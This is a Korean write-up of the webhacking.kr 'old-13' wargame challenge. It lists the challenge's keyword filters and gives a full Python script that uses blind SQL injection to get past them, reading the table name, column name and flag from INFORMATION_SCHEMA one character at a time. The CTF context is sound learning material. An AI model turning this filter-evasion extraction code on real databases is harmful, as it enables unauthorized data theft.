> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-13-1000.md).

# old-13 (1000)

첫 화면이다.

![](/files/-Lzk3RALTcFYdKJhSqZ9)

1이나 true 등 참값을 입력했을 때 아래와 같이 보여진다.

![](/files/-LzkIV508xE9F3eaHeav)

참이 아닌 값을 넣었을 때는 result가 0이 나오거나 아무 반응도 없다.

이를 통해 본 문제는 Blind SQL Injection과 관련된 문제라고 추측할 수 있다.

`testinput` 을 입력하고 제출하면 URL이 아래와 같다.

<https://webhacking.kr/challenge/web-10/?no=testinput>

URL의 `no` 에 ​몇 가지 값을 계속 대입해보니 아래와 같은 화면이 나타나며 필터링 되는 경우가 있었다.

![](/files/-LzkJ1MCIMSstbxnghU-)

필터링 되는 값들은 다음과 같다. (대소문자 구별 X)

* {SPACE}
* {TAB}
* \=
* \>
* <
* /
* \*
* 0x
* LIKE
* ASCII
* WHERE
* GROUP
* LIMIT
* UNION

필터링을 피해 파이썬으로 코드를 짜면 아래와 같다.

```python
import urllib.request

URL = 'https://webhacking.kr/challenge/web-10/?no='
TRUE_PHRASE = '<td>1</td>'


def query(payload):
    req = urllib.request.Request(URL + payload)
    r = urllib.request.urlopen(req)
    content = r.read().decode('utf-8')
    return TRUE_PHRASE in content


# 13
def find_table_name_length():
    table_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)))IN({})'.format(table_name_len)) is False:
        table_name_len += 1
    print('table_name_len: {}'.format(table_name_len))
    return table_name_len


# flag_ab733768
def find_table_name():
    table_name_len = find_table_name_length()
    table_name = ''
    for pos in range(1, table_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})'.format(pos, character)) is True:
                table_name += chr(character)
                break
    print('table_name: {}'.format(table_name))
    return table_name


# 13
def find_column_name_length(table_name):
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name_len = 1
    while query('LENGTH((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)))IN({})'.format(table_name, column_name_len)) is False:
        column_name_len += 1
    print('column_name_len: {}'.format(column_name_len))
    return column_name_len


# flag_3a55b31d
def find_column_name(table_name):
    column_name_len = find_column_name_length(table_name)
    table_name = ''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''
    for pos in range(1, column_name_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})'.format(table_name, pos, character)) is True:
                column_name += chr(character)
                break
    print('column_name: {}'.format(column_name))
    return column_name


# 27
def find_flag_length(column_name, table_name):
    flag_len = 1
    while query('LENGTH((SELECT(MAX({}))FROM({})))IN({})'.format(column_name, table_name, flag_len)) is False:
        flag_len += 1
    print('flag_len: {}'.format(flag_len))
    return flag_len


# FLAG{challenge13gummyclear}
def find_flag():
    table_name = find_table_name()
    column_name = find_column_name(table_name)
    flag_len = find_flag_length(column_name, table_name)
    flag = ''
    for pos in range(1, flag_len + 1):
        for character in range(0, 128):
            if query('ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})'.format(column_name, table_name, pos, character)) is True:
                flag += chr(character)
                break
    print('flag: {}'.format(flag))


find_flag()
```

쿼리에 `MIN` 과 `MAX` 를 적절히 넣어가며 값을 확인해 최종 실행결과가 맞게 나오는 조건을 찾았다.

최종 실행결과는 `FLAG{challenge13gummyclear}` 이고, 이를 폼에 넣고 Auth 버튼을 클릭하면 문제가 풀린다.
